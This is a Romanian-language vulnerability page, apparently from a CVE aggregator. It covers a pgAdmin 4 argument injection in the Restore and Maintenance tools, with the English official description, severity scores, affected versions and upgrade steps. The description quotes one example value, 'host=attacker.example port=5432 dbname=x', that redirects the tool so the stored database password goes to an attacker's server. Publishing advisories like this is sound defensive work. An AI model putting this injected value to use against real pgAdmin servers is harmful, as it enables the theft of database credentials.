CVE-2026-86862Pgadmin 4 argument injection
Scor CVSS
7.1
Ridicat
CVSS 4.0 de la f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
Probabilitate de exploatare (EPSS)
0.35%
Șansă de 0.35% să fie exploatată în următoarele 30 de zile, peste 29.4% dintre toate CVE-urile.
CISA KEV
Nu este în KEV
CISA nu a raportat până acum exploatări confirmate.
Descrierea oficială
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Sursa: NVD · CNA: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
Cum îl remediezi, pas cu pas
Verifică dacă ești afectat
Identifică toate sistemele care rulează Pgadmin 4 și compară versiunea lor cu versiunile afectate.
Actualizează la o versiune remediată
- Actualizează Pgadmin 4 la 9.18 sau mai nou.
Dacă nu poți actualiza imediat
Aplică soluția temporară sau măsura de atenuare din avizul furnizorului până poți actualiza:
Confirmă remedierea
Verifică dacă toate sistemele afectate raportează acum o versiune remediată și revezi avizul furnizorului: remedierile sunt uneori revizuite.
Ți-a fost util?
Cum poate fi exploatată
- Vector de atac
- Rețea
- Complexitatea atacului
- Scăzut
- Condiții de atac
- Niciunul
- Privilegii necesare
- Scăzut
- Interacțiune cu utilizatorul
- Niciunul
- Confidențialitate
- Ridicat
- Integritate
- Niciunul
- Disponibilitate
- Niciunul
Valorile în roșu fac vulnerabilitatea mai ușor de exploatat sau mai gravă. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Produse afectate
| Produse afectate | Versiuni |
|---|---|
| pgadmin Pgadmin 4 | < 9.18 |
| pgadmin.org PgAdmin 4 | < 9.18 |
Tip de slăbiciune
Cronologie
- Publicat:
- Ultima modificare:
Întrebări frecvente
Este CVE-2026-86862 exploatată?
Până acum nu există exploatări confirmate în catalogul CISA KEV. Scorul EPSS estimează o probabilitate de 0.4% de exploatare în următoarele 30 de zile.
Care este scorul CVSS pentru CVE-2026-86862?
CVE-2026-86862 are un scor de bază CVSS 4.0 de 7.1 (ridicat).
Ce versiuni sunt afectate?
Pgadmin Pgadmin 4 (< 9.18), Pgadmin Org PgAdmin 4 (< 9.18)
Există patch pentru CVE-2026-86862?
Înregistrarea oficială trimite la avize sau patch-uri ale producătorului; vezi „Ce trebuie să faci” mai sus.
Referințe
- github.com/pgadmin-org/pgadmin4/issues/10388(Exploit, Patch, Vendor Advisory)
Date: NVD, CVE.org (cvelistV5), CISA KEV și FIRST EPSS. Rezumat scris de RedCVE cu ajutorul AI, pe baza datelor oficiale.